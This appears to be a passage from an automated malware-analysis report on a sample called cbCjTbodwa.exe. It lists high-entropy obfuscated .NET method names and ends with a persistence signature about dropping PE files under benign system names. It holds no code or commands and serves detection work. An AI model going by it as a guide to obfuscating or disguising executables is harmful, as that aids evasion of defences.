                            Source: cbCjTbodwa.exe, Hp8ObOZdCWeefQDtvwv.csHigh entropy of concatenated method names: 'AVhZ40Hb7T', 'bN6ZwihW6B', 'JaaZrbn0qP', 'e9CKGIaJL0Q8lNmyXpso', 'INZpqRaJEtUZEDTmIfbi', 'b7mUDeaJwHBfUu9KSYdc', 'QbiovAaJrTl9E0UXx0wS', 'JUgFEEaJjLnox10e89G5', 'cTJHllaJvGW7N43lCpa1', 'VD1OIAaJqSpTvHTMs591'
                            Source: cbCjTbodwa.exe, PtauUOlbLjX0iype6Ql.csHigh entropy of concatenated method names: 'CgdR9B8WeX', 'bEA1XWaTHdQhBnMAgaCc', 'DtpQe1aTyFeyP7070Kxo', 'oiDybXaT70aDAqEXRdcT', 'lNUNn5aThEmN1P8aHjWF', 'mCtmSRaTnCPXk32ORTyl', 'ab89sMaTQvjbI0OVhx8G', 'RbCvTFaTSb0eIL0VmNC2', 'c1hfgOaTsd6DxqIOPyyv', 'PCKR6rr5pF'
                            Source: cbCjTbodwa.exe, kne1xflLmTSY4UJtbeh.csHigh entropy of concatenated method names: 'Bstlj2ROV9', 'LOAlvtWSyM', 'mZ2lq7L2Io', 'a8S50PaTrv9yvfavgKri', 'dSyENyaTLoClYcsM0RXY', 's4dIfoaTEJEOiWKFuOnI', 'o7j89saTjPQykwCQAIMN', 'Rcy34IaTvmjpxMFBmD41'
                            Source: cbCjTbodwa.exe, SgH1L4SkOou7PM3hvkW.csHigh entropy of concatenated method names: 'UW9a5U6n1td', 'FqUa5FSR6v0', 'BfKa5JDyFwT', 'sn2a5YDq9Ik', 'O64a5M8PkHG', 'omea5p7dHhJ', 'M7Da5u1cKXs', 'ulssKRJr0l', 'YBEa5ktnBd0', 'mv6a5AFBWVv'
                            Source: cbCjTbodwa.exe, xphJmr5oE1b816ojweB.csHigh entropy of concatenated method names: 'lBp5eXvrhn', 'SKkNouaUmP3Hlw2hZn7h', 'hkOGnjaUeAAAHrULnSrp', 'NKv1teaUUG0Dqq6nQJWS', 'XtHEM0aUFqADxBu73mUe', 'E94', 'P9X', 'vmethod_0', 'M2naCxUlWaO', 'cQ0aZDsAjNc'
                            Source: cbCjTbodwa.exe, nngTfXKDxBFswVdWuIP.csHigh entropy of concatenated method names: 'Rpx', 'KZ3', 'imethod_0', 'vmethod_0', 'iq6aZKH5osB', 'hOTaCaVtjho', 'VYm9TZae1g0Ru8VCZMnS', 'Gy5D6wae42ljFFiy9kCh', 'edJ5BDaewFXICUwMhlJC', 'Ix6PIGaereQa2xvoAqxt'
                            Source: cbCjTbodwa.exe, SXE43dLOuSw0ZG3KRR9.csHigh entropy of concatenated method names: 'qZL0w77kEQ', 'gIa0rhPQNb', 'BJWxZ8akFiuoZlYFEX0d', 't63h1bakeLJOID57X5L2', 'aIQeVVakU0LlnAoKI2dF', 'b3aVpoakJbMQhAm8tdDL', 'B8e00e09jb', 'z64JxIakucJubvRueNiA', 'basb5wakM48IIp98qZqA', 'Y7SuUKakpmtaE9hShu6L'
                            Source: cbCjTbodwa.exe, y9Dfsy0uhiHiNwod5qY.csHigh entropy of concatenated method names: 'IsS0GAvl1x', 'fU702H0uag', 'psM0XtT8Q0', 'GMOyCSaARWau0bCawdv7', 'oNd8rjaAafeK892luTvP', 'r2HcgQaAlBw5rEU4rsQ1', 'sxX0AQniWi', 'S060NU5O4t', 'V7U0fsOZT4', 'O1nDnkakhMNRSbkGpGkX'
                            Source: cbCjTbodwa.exe, B14F8aie4G6KPp6Of2D.csHigh entropy of concatenated method names: 'DB4', 'method_0', 'method_1', 'method_2', 'method_3', 'method_4', 'method_5', 'A47', 'fC4', 'aK3'
                            Source: cbCjTbodwa.exe, ChHfS4Pd5hMEgd74Lp4.csHigh entropy of concatenated method names: 'QIsPeQ3LDD', 'ixJP4HHLaI', 'sT3PwUHQ89', 'FSiPrLRyHn', 'B8aPLFuXmU', 'gqEPE7PHkX', 'SUgPjmteH9', 'DmMPvkubQd', 'A4bPqZuPKh', 'xb6P07sTla'
                            Source: cbCjTbodwa.exe, faykcsott1yfKcHF9Qs.csHigh entropy of concatenated method names: 'a99', 'yzL', 'method_0', 'method_1', 'x77', 'jxIoGxdDks', 'lyoo2jRBr8', 'Dispose', 'D31', 'wNK'
                            Source: cbCjTbodwa.exe, t6Dk0iZGW0L17fpmCrR.csHigh entropy of concatenated method names: 'TeNZyvsy7d', 'kmEwCsaY9qqtSF1USZ0l', 'NOAkC6aYKpLkWEG9hEAN', 'AX881AaY5RZWud1FyMea', 'oajLJ2aYZOmANnB50rh0', 'PNWeR1aYDtUKlv0MDryW', 'P9X', 'vmethod_0', 'dc1aCVqF7uI', 'imethod_0'
                            Source: cbCjTbodwa.exe, sKKRtJzQQNbEOsL0sx.csHigh entropy of concatenated method names: 'hjMaa0of1N', 'zn1aRejVnD', 'JwTaCHLA1s', 'zr8aKvR4mP', 'xrSa5QbU6e', 'lv0a9jGI3L', 'scNaDlaLaW', 'V7rR8jaVKRfLB0kvqKwm', 'R8pDDYaV5XIrVqZNVHks', 'yApRwgaV91tAhdfKrMjp'
                            Source: cbCjTbodwa.exe, j16ItT9aJGt7m20jpxC.csHigh entropy of concatenated method names: 'cSP9RlQA21', 'H1y9COBm0i', 'oSB9KvW75Z', 'oJ8LV9aFl9dHCjjECN6f', 'oHXgqWaF6XWWpLC8UETu', 'WHepWjaFaP5hfqkiyfda', 'qt5a4GaFRfdiVmKZCufQ', 'X3LmruaFCOZg6FAneCeN', 'vtV226aFKYmmjngG0hj6', 'yapo4waF5bVEb7dwGl0R'
                            Source: cbCjTbodwa.exe, Xaam4NxrA5J091pH52E.csHigh entropy of concatenated method names: 'd9vxxp2obR', 'uLme8haANAUTpEUFfKyK', 'wj8cdkaAf59If3wUw13M', 'XAJ6tiaAkFL2cPix22XC', 'M1ydCAaAAl2DSJosxx4I', 'thvHCiaAtChceKTuPSRh', 'mBvxEFa8C6', 'SmnJVMaAYLQbSiuYmJjm', 'tFOfOWaAFApJIZXp01An', 'zohTagaAJCxIAIu2H0m5'
                            Source: cbCjTbodwa.exe, eyYNg2IwCVLtaM4eJ2d.csHigh entropy of concatenated method names: 'kV6Paycfqm', 'xW2FsMatwCXId4qoO0V4', 'pASq1yat1nVCM9RTPuOe', 'X87KTXat4RV39QyafZi0', 'xZPWhcatrVkv3yuIy7Ew', 'Eq3ILkpxJ8', 'PQyIEMUdOb', 'WhYIjUNeyW', 'XdWIvGrJHR', 'GMjIqXsNLt'
                            Source: cbCjTbodwa.exe, u7G6FgiA05jjBrTrmMa.csHigh entropy of concatenated method names: 'YK0if4L0re', 'pEPitQENym', 'hnOiBf9u8b', 'F5JiGRIA6f', 'alfi2y9YRe', 'NUOiXVnr36', 'yxficIbSw1', 'mgRibSfQvu', 'Rj6igBJVQC', 'daNinm617M'
                            Source: cbCjTbodwa.exe, n5wsI4ZjosdG2WayloH.csHigh entropy of concatenated method names: 'masZxkcHQM', 'k01mT0aJTLp5tiKKmJpS', 'zx5K97aJ8mqN03bpfkcg', 'QHVUoCaJVMD5WKeRnQaN', 'xTsWKeaJi07UisKlEpn1', 'LoXZqPQZyF', 'BC6jQWaJOjEkcUStaqKZ', 'RngXgRaJPnGXBBJccbWN', 'myQXZaaJ39IPswKdqscw', 'xisox3aJIieRPsvjQrdf'
                            Source: cbCjTbodwa.exe, uWvayJZVMls7lpNsLX4.csHigh entropy of concatenated method names: 'sVFZiMcUx9', 'cEWZmQsf9G', 'y79ZebNDxn', 'r69ZUfX7UL', 'wceZF54ycI', 'oXwZJCFF9q', 'rAq2IaaJGSP8hJhJMiVo', 'wMhOOEaJ2d0sAVVFbp0G', 'cruQJZaJXsno4w12VCBn', 'GXTkKXaJcrnapl0WikGe'
                            Source: cbCjTbodwa.exe, CmJfneKkBKQpXFNV8RZ.csHigh entropy of concatenated method names: 'q64', 'P9X', 'LO6aCroY5Ag', 'vmethod_0', 'eK0aZ5BuFhA', 'imethod_0', 'AO2CVYaetgiL4BOvxqxr', 'SS8saIaeBH2niEffQqgb', 'DSmgtXaeGljVrfMt8VYJ', 'YELvBpae2LqlWvE1mN4W'
                            Source: cbCjTbodwa.exe, BIPAwLvEiHAMtAa7r9.csHigh entropy of concatenated method names: 'tgYJLK0tZ', 'hmGWsla8UTQPQ1XifRTD', 'cQit0Ca8FfMmgc0F58Zf', 'n6Kimaa8mW8QZZC7jFAM', 'cLoQMUa8edkQqAgkx8Jg', 'SAj0vA38P', 'p7Kx2XQkm', 'wuZ3Q7cAY', 'FpgIGjIf9', 'MF0OkOrDV'
                            Source: cbCjTbodwa.exe, M2xHVv0QMpfeH0sXhhJ.csHigh entropy of concatenated method names: 'm1I', 'G4q', 'w29', 'DsCaZwx1awu', 'bkxaCGP6Zdh', 'WfvelgaAwBQ97Exu0ElV', 'wo6ObBaArQlFoV9HaDsU', 'jBBEJgaALss192sHYl17', 'sjTKj5aAEQC5mf82QRmH', 'NxM6tkaAjvIQ322LgAqA'
                            Source: cbCjTbodwa.exe, vcRsDpDPqDpQsyPG86X.csHigh entropy of concatenated method names: 'Wl4YGwapVWCtnb4gLdxu', 'WkUPLHapWeMuABi7DceL', 'YyAghiap8MgqDDDI7BKK', 'lYCRpaapTEQdDpRFViXZ', 'WHMrsYh7rp', 'S9BaBdapUrv91b8Zr7mf', 'SDZqkMapmAYCi0R7XdK2', 'FlDkhfapeTr7P1r3guXg', 'tRdcCIapFe6ZxA19i5iw', 'VJhUE8apJnIjcPAI6Pgx'
                            Source: cbCjTbodwa.exe, R6xTJOVR60Tx2Ly06WV.csHigh entropy of concatenated method names: 'method_0', 'YU8', 'method_1', 'method_2', 'UYiVKTT97G', 'Write', 'nPxV5w97tV', 'BSOV9RrJNT', 'Flush', 'vl7'
                            Source: cbCjTbodwa.exe, pWBBYVTsOL7A3hXpRZW.csHigh entropy of concatenated method names: 'z1wi6iXgse', 'HiEiaL5i8V', 'hFuilolNKs', 'zW1iR5FJKU', 'JN6iCpE60G', 'Y3QiKKf4SH', 'iy3Jora2c4Lw8HRhXMe5', 'O8N8iHa22b4FXay42bVQ', 'sbBJSKa2XMBkoj1FyxRd', 'mw30uTa2bVejIUOgNIbY'
                            Source: cbCjTbodwa.exe, cE3fD7RbLbESUF2AjWN.csHigh entropy of concatenated method names: 'tuCCRspewq', 'xglCCYSH0R', 'nxkCKJptGF', 'TA177naihZepG4ai7PWV', 'o0tSnDaiSNcJbjQcGoiI', 'I5swQsaiyQhLhk4mIfcU', 'nlOqmEai7usfdCkuSKmf', 'werC1fMatp', 'TEgZYHamanZy0RyByi8l', 'DTtoVaaizoI5685u40sw'
                            Source: cbCjTbodwa.exe, tRonFo5JNDlvQBdAbrh.csHigh entropy of concatenated method names: 'P83', 'KZ3', 'TH7', 'imethod_0', 'vmethod_0', 'YifaZdqLUdI', 'hOTaCaVtjho', 'mrSevfaUYF7utV2EtgFX', 'zGUlqCaUMMNk7PCRBeQT', 'bIld5oaUpMQMnGfbvrhN'
                            Source: cbCjTbodwa.exe, QvlEV9xcI0mZu96ZMdk.csHigh entropy of concatenated method names: 'UfZaZj347WX', 'd01xgpa4q0', 'LFsaZvrOS3Z', 'swd8L9aNEUL8GaCM8os3', 'K1s82caNjoX4u9bW7RPe', 'mLIvhuaNreVDDmSOcubR', 'uJw65OaNL3yymDJE6fXJ', 'oFMyBvaNvo4FBu4MYAZj', 'kQ9MUSaNqPMNfAX7rKT3'
                            Source: cbCjTbodwa.exe, SFvbkWCWtoKuXAJMtJI.csHigh entropy of concatenated method names: 'VZq', 'KZ3', 'XA4', 'imethod_0', 'e23', 'm2NaZRqn4nY', 'hOTaCaVtjho', 'dK1Cbgamq3og4E1avGY0', 'T3tRZeam0xWlTGiyOOju', 'iuDIwXamxhSeXTY0HlYj'
                            Source: cbCjTbodwa.exe, j0r8nySq249lcuYRi8y.csHigh entropy of concatenated method names: 'pXwSi1R6Zu', 'BqrSmieYcN', 'MWaSeMEInh', 'hCJSU35oKo', 'F3nSFR0RDs', 'RmmSJqmLoI', 'qAfSYkhGA1', 'DLYSMGu5BZ', 'ODISpx4EDV', 'P7QSu3cQTc'
                            Source: cbCjTbodwa.exe, CC4QhU9ewHn6qE6Pfg0.csHigh entropy of concatenated method names: 'tuw9Fa1WZ0', 'tAG9JhYFkd', 'XkvgrTaFth3st8cNbZQu', 'jNlQS7aFNTVEKgCILg2v', 'ouRD5SaFfUXNvU21iZD6', 'hvSksvaFBa1niwJ2poa9', 'swu2aDaFGC1fWljIsNFY', 'woKcQIaF229qsiJWoEiF', 'piOFfYaFXVdGmxxhpHG0', 'tO7oeGaFcpAeM9bjbeNB'
                            Source: cbCjTbodwa.exe, eM0sg3QeT6CWNP0tie3.csHigh entropy of concatenated method names: 'method_0', 'h59', 'R73', 'nYRQFIExSo', 'GCNgw5aypKg0c9opngMc', 'ty5hLJayuOdjus3iTHhq', 'By53mJaykdZy3qusClsp', 'nId4W5ayAnuI50UmX84r', 'TPAfrBayNCubi6FMMBfP', 'hJ6oZPayfUv03mj8x9Dk'
                            Source: cbCjTbodwa.exe, y3eaylCkMWsO9rbUNcG.csHigh entropy of concatenated method names: 'U0nCSVyFW2', 'tRBiwqamsnK97fmg0ml8', 'XRVKJTamzy86ZEGvfUJ6', 'fuSRTOamh0VsOi9tssgr', 'USNZRmamSwKiOYnxiiGt', 'ArkTJ5aeRURoCtmFBwn2', 'vqwxFqaeaiLeT92XhEBQ', 'eYFP9qaelacwxfLfRFPg', 'O77MntaeCiYhVcFCObJZ', 'hDTK5RVLPk'
                            Source: cbCjTbodwa.exe, AlhUTaKgllD0IvI9eng.csHigh entropy of concatenated method names: 'dklKhK2psg', 'VUFKSbJZqu', 'IqxKsjRNM5', 'MrFKzgT2Zy', 'zb656oLR92', 'z3M5aStRJi', 'MqL5lPGr8V', 'qXYIQgaUDAOVQ3cMfK7x', 'kIN1Y7aU96nsYGCdDhkf', 'mjEkqGaUZHbJlT1y5XYG'
                            Source: cbCjTbodwa.exe, HOKVLiPgt1XaAb9Npuk.csHigh entropy of concatenated method names: 'oxfPQX3rfK', 'FhQPHXGIse', 'VX3PyHjELQ', 'u5IP7d4V7f', 'tlePhsxOE5', 'C3xdTBatu6eyh6r7raCv', 'zHfppaatk5AoSg2I7XK1', 'glgpXwatAYmy0U3U588M', 'm67xWMatNsEiwusgpsjo', 'ExQss4atfX8Hc5c1NqVh'
                            Source: cbCjTbodwa.exe, pdSCBuk75L9be5Mb91H.csHigh entropy of concatenated method names: 'fgckSDlB56', 'o5Oksedfhg', 'C9MkzsfQDb', 'mwfA6qOUsx', 'UDHAaTRXmu', 'LhrAliDciB', 'cCYAReMh8o', 'jbyACjMly5', 'UAAAKAdkQy', 'fd8A5TnYnl'
                            Source: cbCjTbodwa.exe, BSP5LlueO7Gitb59p76.csHigh entropy of concatenated method names: 'CwXuFkbOOr', 'hkouJOvJ8P', 'Ag3uYLQ9LZ', 'QykuMHTfF3', 'pdbupYrOvm', 'z8ouuNYWLO', 'FSKukWdTa6', 'hSNuAwdjqu', 'nVjuN39Iyw', 'wGcuf5qrhh'
                            Source: cbCjTbodwa.exe, Ht0KDElehuSIOM7qTov.csHigh entropy of concatenated method names: 'l5plNR8ETp', 'yYBlfTRCG5', 'MhNViuaTmUyRmAOe8IU6', 'eANKbDaTedvuwww8sdsR', 'ciUN5ZaTUaKYCx1H3XtW', 'QMKl2M97eb', 'Yd1VlvaTMp2hsNCo45uB', 'IUwlsBaTpPqHx2onHGIa', 'kx6000aTJC7HP5X2QG0Y', 'AnjICcaTYjG7DhmFscsN'
                            Source: cbCjTbodwa.exe, RATeyxuDADGp8uGnjSo.csHigh entropy of concatenated method names: 'Jn8uoGXNVp', 'yipm5raQD8aVfu1cnJHU', 'zEbfbLaQdU7qKljY8MJ8', 'q6pRekaQ9MZBuIe3tBkb', 'bi7tbRaQZFiVC02S5aqP', 'IPy', 'method_0', 'method_1', 'method_2', 'vmethod_0'
                            Source: cbCjTbodwa.exe, sOcj2tR8a05VJfAGsE9.csHigh entropy of concatenated method names: 'sCiRfwAilE', 'swvRtYlLcb', 'LaYRBQKqvE', 'iVbU6TaiM0jtxQH11RtZ', 'DKXq2yaipbWhFgf9f1R6', 'sjEyF4aiJEckP0RU5LVk', 'U5cXbhaiYlF9dPha13c0', 'O8tRTQtg8E', 'yLDRiHnidB', 'QeoRmGh3dC'
                            Source: cbCjTbodwa.exe, BAG1MN5NulbiAkHrPR2.csHigh entropy of concatenated method names: 'ykq5yX7bwf', 'hMS57ggGGB', 'N9Z5hE36c6', 'rRI5BBaUSdj7bVH0Ivpl', 'jMZiY8aUs83owJeVyLns', 'ccZZOqaU7hqgXq3pDuSg', 'aSY2pUaUhC43vDqII4TB', 'csl5tCaf6o', 'qf15BPchZs', 'qLm5GPiI9G'
                            Source: cbCjTbodwa.exe, LZuDnXyeWGDyAqVtGmF.csHigh entropy of concatenated method names: 'shHyFPjWEY', 'nspyJuMMWL', 'iHxyYCdBxC', 'lgFyMnfH3v', 'Dispose', 'UYCQwxahLC8lFAKpJqbw', 'pX2Ze0ahwdvHO1T11K3V', 'hkmQ6qahrRqTCVOq7XJ1', 'FM9mbLahEXXeYkcisw0D', 'nbd835ahjIFypvJlbu5M'
                            Source: cbCjTbodwa.exe, ida9BI8eJ4jsCPccFKf.csHigh entropy of concatenated method names: 'method_0', 't1v8FhKr4G', 'yqt8JftQeR', 'toj8YeEeXK', 'fd58M8X9Dt', 'pOD8pjfqa9', 'rIN8uWEotF', 'yMre1saGdwmRda9OdNy7', 'lYI6u2aG19Hqq5yXK7aX', 'X57QTuaG4RQrHF2nJm8i'
                            Source: cbCjTbodwa.exe, POxxmuWPN88NchDfhGJ.csHigh entropy of concatenated method names: 'OpYWWdExoG', 'lknW8ypIDX', 'e0tWVUvGVx', 'nRHWTmNVme', 'zbPWisUOn1', 'gqFc7kaBkeub2E266hHI', 'F9KoS0aBAvhLSZKqoEQC', 'AddkDCaBNpZHCW5cxnmZ', 'VqqGumaBfy5jl0cE0QxQ', 'WOKxOxaBt6ws1ik0HSeG'
                            Source: cbCjTbodwa.exe, acGk4meZNwO3oJswuJ8.csHigh entropy of concatenated method names: 'kTTed8NHC8', 'C36e1VHjQc', 'method_0', 'method_1', 'I27', 'c6a', 'C5p', 'PWse4l8arE', 'method_2', 'uc7'
                            Source: cbCjTbodwa.exe, pw5ufkTnICBrqKKjauR.csHigh entropy of concatenated method names: 'c43THjemI8', 'HeCTyRwrky', 'gPrT7Ft6Kg', 'YUYTh77Tag', 'uFwTSi8UNt', 'kppLvWa2k5thNKJvbgrc', 'IPMJRJa2AaU4OXljVjqI', 'bFy7Aea2NdgwBh374Qui', 'uWD3pTa2fur0f2JuvFf7', 'bQ19bVa2t7sV88L01crF'
                            Source: cbCjTbodwa.exe, ENAE0nKtj4aPFnm3SjN.csHigh entropy of concatenated method names: 'u6xKc0SkeB', 'qxmnREaeSO5uLw2MNlDH', 'okLeGAaesLSZEAKLilTA', 'PpMXeraezcfcvdIT4vCe', 'PIM5kQaU6ksfDj0FRqMk', 'U1J', 'P9X', 'M7baCEbBFoO', 'U3TaCjw2uQT', 'RXXaZ9nb84I'
                            Source: cbCjTbodwa.exe, OYACnqaQo3stkUcymEI.csHigh entropy of concatenated method names: 'P9X', 'UyfaymebEI', 'VIOaZ6mBo1A', 'imethod_0', 'DOYa71cJv6', 'FjtT4KaVQ04xXbbYPMqM', 'KmIYFEaVHsUpp1j0CZVl', 'sMxuhHaVgX8ylDdvkjdA', 'rFv6aCaVn4aTBFdQnjBO', 'rxx7kcaVyLRgtOX7hU0q'
                            Source: cbCjTbodwa.exe, icJa29uBeUqigcWgnyl.csHigh entropy of concatenated method names: 'eeRaZoyfp3R', 'xj5u2sa8wN', 'txXuXxYw3V', 'rycucwM8BH', 'zbgDMlaQxrVTPw4NAWww', 'YmUSTpaQ32PRSU774ymC', 'T4kUXpaQIYqwPjDMTvki', 'hYIqHeaQOl3KWMCRKsgr', 'a65gbMaQP0l233grspMM', 'UGfQdlaQoujf5pEE8HEZ'
                            Source: cbCjTbodwa.exe, am7Y6L9DqHnPg74eXo3.csHigh entropy of concatenated method names: 'dV091RMl1d', 'opp94qNHym', 'Xc85FWaFd5bxc420vfN6', 'K8GCQraFZEjpEsH5v33L', 'rCw8eoaFDLomOQSJ05ix', 'akFBviaF1BLSa6Eyn8yV', 'lg2v5NaF4j7qr1Uwos5p', 'rfKXobaFwaYCPgK9Tl93', 'YHI4SKaFrbMwtaoot35L', 'xpIWkJaFL8CNLHb4Vvdh'
                            Source: cbCjTbodwa.exe, HoM4gC76O2jiB8wcrni.csHigh entropy of concatenated method names: 'Pt97CBFgak', 'j5Z7KrogdM', 'c0TC9fahfXi3UgRlRO86', 'ASaL0UahAL4OTHjfFErj', 'njxaK2ahNLfD4b9aMTeu', 'Seqtp0ahtoXhlVGEBg1e', 'FwbNUbahBdWb9VCUWQvi', 'od57lNfxma', 'KhZ1fqahMP34I04CcVug', 'I932RKahpGirjgtSY5gm'
                            Source: cbCjTbodwa.exe, iymkiHVNE1LTiG4fQne.csHigh entropy of concatenated method names: 'AmTVS90flv', 'T2NVzHfieB', 'fWRVtUDp0r', 'xlAVBojVAj', 'u55VGDFZmK', 'lrsV2ncSKw', 'DOJVXw06iS', 'p5EVccSKpI', 'enVVbqhpmH', 'KChVgvx311'
                            Source: cbCjTbodwa.exe, t7J1CumBHls6I2mje3S.csHigh entropy of concatenated method names: 'Rjum2vhA0c', 'Bf7mXl3Rry', 'SAvmceZSuF', 'iI0mbb2oCo', 'mYimgoi67k', 'zUHOXNacY2oujLx58OCF', 'H7VevBacMPD9BGZxDxie', 'Y7oqcEacFTbc06pV4nL1', 'RKvg9MacJQOe9A9YrreJ', 'TTqcD2acp0I05ZGcMo6Z'
                            Source: cbCjTbodwa.exe, qALKIb9NLqmp4EPk0nl.csHigh entropy of concatenated method names: 'pQx9yFR4ab', 'q8h97sICve', 'IYnG4vaJafHd08ocAwp6', 'RfDmRgaFzcBvlvlnTgv5', 'dOb8b2aJ6Jcq3M3RD10a', 'fyXAZ3aJlEmMQOH8ySht', 'e9a9tFOOTR', 'Pty9BmdBu0', 'NTX9GAMFsU', 'xIK925IVYD'
                            Source: cbCjTbodwa.exe, ChdRd7lKGTWWPDuCUjw.csHigh entropy of concatenated method names: 'r8al9MIsgF', 'h5GlZuH2iu', 'y7elDBkJSD', 'TtildG8oOy', 'gAwJv2aT9xvo8HSKvO3n', 'qAyJMpaTZTmbUZ7yMdEX', 'raERHSaTDekEGAGhhJgq', 'RvcCsGaTdjLtvSGAQchS', 'uYhFVDaT1pXJ0OkRO2mT', 'e2SjR7aT4E2F6xStcKWx'
                            Source: cbCjTbodwa.exe, FU5BsI0TMGeQ8aqGBV5.csHigh entropy of concatenated method names: 'nsK0McFi9n', 'J8aoGxakHKaDTdLxtwDY', 'PhIAleakn4US3PsL7w4F', 'UGuKIVakQTvW1BQCxD4B', 'p8EXNmakykc3GD6mBFPY', 'VGE0mmoYUM', 'TuL0eDS26H', 'qAc0U0ID1T', 'sUrbP0akX3AXtL5roino', 'nemQktakc5GcQhRwekT5'
                            Source: cbCjTbodwa.exe, H0Dm8d81bhOPYvgOkuC.csHigh entropy of concatenated method names: 'hQr8wet2Im', 'Uhp8rbBCDk', 'WQr8L33rZG', 'Kds8EGEh3I', 'Qw18j5woxS', 'AS68uNaGawNfTU447RZi', 'LUUtjBaBzTPRhT0p6NVa', 'LyNYqJaG6VWCQy018F7G', 'p5QfxMaGl0Zfxe0R8kUa', 'oIkG1OaGRarQ03ZYOoKP'
                            Source: cbCjTbodwa.exe, afxGtrZIpdx45IWsDHK.csHigh entropy of concatenated method names: 'j10ZPuZ3RY', 'gbyE2NaJFQq1PlUiLFeL', 'rDQ5hiaJJeIgNKRoId3Q', 'tKt3HjaJYnFg56ILwqBp', 'qW7j55aJMuWAbcLOGPuB', 'ghZJjDaJp7MlMsBbQeT5', 'gCQ5k5aJeJ7mj6LQkckc', 'p8WpMoaJUBSr4JL4vkmf', 'DdAs4qaJuds9cXaH7k9m'
                            Source: cbCjTbodwa.exe, BJ3FCMlxHA8Ro7WaLfc.csHigh entropy of concatenated method names: 'v5xlI6sn1m', 'gRTlOPOT28', 'W2JqKcaT0B9l4mvZ6IJ0', 'hWgUbVaTxWL9is4sXR1w', 'OiRAN6aT3KaFsgvE6TIy', 'G1hOmHaTI8AEjR6CFyop', 'r5x4KJaTOSmnNdHt3Z7u', 'FDbyoOaTP9FFveTW5NNR'
                            Source: cbCjTbodwa.exe, CJpwX7Jbg5m0ofEaRnW.csHigh entropy of concatenated method names: 'PVnLa4agzDG0m6jo0gU7', 'cdIm14agS6Fqh2SqMXfP', 'BhYSnragsvFsGceiXKU8', 'WmkbuSan6dOMnZbk9tKC', 'udMJnaTrGd', 'Mh9', 'method_0', 'UIPJQEYETd', 'A38JHOuMeI', 'jA0JyF5V6S'
                            Source: cbCjTbodwa.exe, dqP17xFbj7mvwl1VAvT.csHigh entropy of concatenated method names: 'bGdFnkFw0m', 'k6r', 'ueK', 'QH3', 'vO2FQAoUWU', 'Flush', 'MOkFH9vvxn', 'h8TFybsxEo', 'Write', 'L8VF7Xwl71'
                            Source: cbCjTbodwa.exe, fq0db9ketWSPuMkPIv5.csHigh entropy of concatenated method names: 'RS9kFefONg', 'EFDkJPuj04', 'bajkY6Ol9G', 'QRrkMG7Yq8', 'jrjkp4DF0A', 'fHbkunTyKS', 'oeikkNBhjD', 'DQ7kA3gXNj', 'o1WkNNyIwr', 'w2Ukfe3boP'
                            Source: cbCjTbodwa.exe, FTZ7bQKEheTpKab1gIj.csHigh entropy of concatenated method names: 'fDQKVvsp8G', 'lSeKTYJofe', 'cZAKiSLiZD', 'uOu2V7aeFCwUpp2nrBGB', 'XyZnI8aeeTFWUdhDgKre', 'aRsPp8aeUq0AmulJyZv9', 'fxpKP5dB2R', 'yUPKoTxrwF', 'tnm88yaeTe5RacoCqy0j', 'fdJIW6aeiOJoBlB9SSqi'
                            Source: cbCjTbodwa.exe, zhg9IaCUFJRVxvpT9lG.csHigh entropy of concatenated method names: 'KZ3', 'imethod_0', 'vmethod_0', 'HGYaZCcGHQM', 'hOTaCaVtjho', 'pcivP6amTBYaGRtcrFL0', 'iZbPc9amif5tgCiLK2Ia', 'sGD9sbamm0POucEkNnBl', 'HxrSCjameqD52Q6mbrNe', 'HG64QoamUAfHjF8E4c3K'
                            Source: cbCjTbodwa.exe, chroOB3EPNYV4VTpJVV.csHigh entropy of concatenated method names: 'qMTHRQaf5PFI2jIkTewc', 'VjBrLiaf9HddMVWHKVir', 'hVKsflafCS1p0NbGfa6l', 'wvikKeafKKPNlSvnDgrK', 'method_0', 'method_1', 'Fvj3vB8BBe', 'RYs3qBPDKE', 'Ade30PpUbg', 'fAy3xiDsku'
                            Source: cbCjTbodwa.exe, GpBFf1QpiEqXulNLXyr.csHigh entropy of concatenated method names: 'DoYaZ8KwsRN', 'vKfa5W9VH33', 'p10Fmba7KyOZIeXPj7ab', 'n52Uoua7Ry0srewWao2Q', 'kUKHxUa7CMPHTXFr2i3M', 'smek9na75ri2NF2vyZ9r', 'YLbKFCa7dV3AuIRlOl2r', 'KX62xma7ZWDDt0Vp3qG2', 'F7oGMMa7D77VMJ2J4RUM', 's1Vh9Ya71SitmnNjWrFN'
                            Source: cbCjTbodwa.exe, nIdc02as9TPxPtdasa9.csHigh entropy of concatenated method names: 'KZ3', 'fW4', 'imethod_0', 'U7v', 'sdQaZaj44WT', 'hOTaCaVtjho', 'EnytpMaVhCQ9j8qSnP5k', 'WgEDlEaVS3pZ05KYFJsC', 'B6FaN5aVsNf5meXhduXg', 'awJ9bYaVzapPdptpaMeA'
                            Source: cbCjTbodwa.exe, k8Kd01ehQPxalQbXh7n.csHigh entropy of concatenated method names: 'ciaes1ZcL8', 'C87ezIWMG3', 'iD2U688ag1', 'z5LUa8tBO8', 'PF2UliVN2V', 'XvlURkkIbq', 'Rpx', 'method_4', 'f6W', 'uL1'
                            Source: cbCjTbodwa.exe, LACTiJ90WfsrC569R8X.csHigh entropy of concatenated method names: 'TCT9Tbc1kE', 'EOfW6xaFMhmTLR8SQsDR', 'ocff8UaFpRZqMJyuBmAG', 'YHl5aLaFJ4yCKHI4U2mG', 'jUatXPaFYFsEysxjHxaw', 'nU8j5daFuMl5MhGVUtpN', 'mNX37MaFk6oBiwJESRQ1', 'APS93Qh07A', 'rMH9ISMWjA', 'm1Z9OfwLqu'
                            Source: cbCjTbodwa.exe, AhInu9KJVeGjI9J8N2Q.csHigh entropy of concatenated method names: 'l29', 'P9X', 'vmethod_0', 'nlJaC1SmZZb', 'pLLKMIkAo8', 'imethod_0', 'DgeJ8saeYgDrpIPyQgAO', 'BTHOL2aeMfxYHcX5PM0P', 'm8nfr7aepXTKCiT9rK6e', 'CAAUDXaeuDitLEl5jiUV'
                            Source: cbCjTbodwa.exe, SlGKJdywmh9hCoEVq6w.csHigh entropy of concatenated method names: 'elryEJj16A', 'kewy0aruJQ', 'iq3yIYYSlS', 'cpoyOG7LNJ', 'T0KyPDxFXk', 'BY5yo3hl2N', 'i3myWKOhLR', 'txdy8Kyx5J', 'Dispose', 'jobr9bah5XeugKIUN8hl'
                            Source: cbCjTbodwa.exe, QBaqrMmseyDVspH0H67.csHigh entropy of concatenated method names: 'yt8e6uq88V', 'r3eeasLJwI', 'Yd7', 'ORdelfq7pd', 'QD8eRVI1ci', 'i8QeCvSPHA', 'TRHeKBCwxO', 'BsBh0JacXmEkCuZA2JW9', 'IYbXnNacGFa3UUqaPYfZ', 'MqoeXbac2vnLuyxwFoe8'

                            Persistence and Installation Behavior

                            barindex
                            Drops PE files with benign system names
